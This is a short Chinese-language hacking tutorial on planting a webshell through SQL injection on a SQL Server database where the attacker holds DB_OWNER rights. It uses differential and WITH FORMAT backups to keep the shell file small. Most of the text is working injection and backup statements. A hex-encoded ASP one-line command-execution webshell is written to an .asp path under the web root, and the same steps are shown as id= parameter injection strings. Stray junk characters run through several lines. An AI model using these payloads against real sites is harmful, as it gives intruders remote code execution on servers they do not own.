DB_OWNER权限得到webshell的改进方法

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减少备份文件大小，得到可执行的webshell成功率提高不少
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5 m; c  z2 ]" ~' v+ k一利用差异备份
/ w# `( w( U* j! w' F加一个参数WITH DIFFERENTIAL
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declare @a sysname,@s nvarchar(4000) select @a=db_name(),@s=0x77006F006B0061006F002E00620061006B00 backup database @a to disk=@s
# o+ O. B: J/ M* P0 Mcreate table [dbo].[xiaolu] ([cmd] [image]);
insert into xiaolu(cmd) values(0x3C25657865637574652872657175657374282261222929253E)
% b- T' z$ h3 D% A4 Y% K) ~+ y' [declare @a sysname,@s nvarchar(4000) select @a=db_name(),@s=0x65003A005C007700650062005C0077006F006B0061006F002E00610073007000 backup database @a to disk=@s WITH DIFFERENTIAL
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二利用完全FORMAT
* K+ Q6 `. U1 z加一个参数WITH FROMAT
. s" ]- T2 P4 V: n5 D8 S/ M2 v有些页面对数据库要执行几次，而备份又默认是每次都以追加的方式，如果一个注入点对数据库有几次操作，而备份的文件就 几倍的增加，所以
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declare @a sysname,@s nvarchar(4000) select @a=db_name(),@s=0x77006F006B0061006F002E00620061006B00 backup database @a to disk=@s
# G. K- e7 n5 l+ c: E6 Ccreate table [dbo].[xiaolu] ([cmd] [image]); insert into xiaolu(cmd) values(0x3C25657865637574652872657175657374282261222929253E)
declare @a sysname,@s nvarchar(4000) select @a=db_name(),@s=0x65003A005C007700650062005C0077006F006B0061006F002E00610073007000 backup database @a to disk=@s WITH FORMAT
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: [4 a; z- q+ s3 r* z& b总的来说就是那么简单几句,下面以备份数据库model为例子

id=1;use model create table cmd(str image);insert into cmd(str) values (”)
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id=1;backup database model to disk=’你的路径‘ with differential,format;–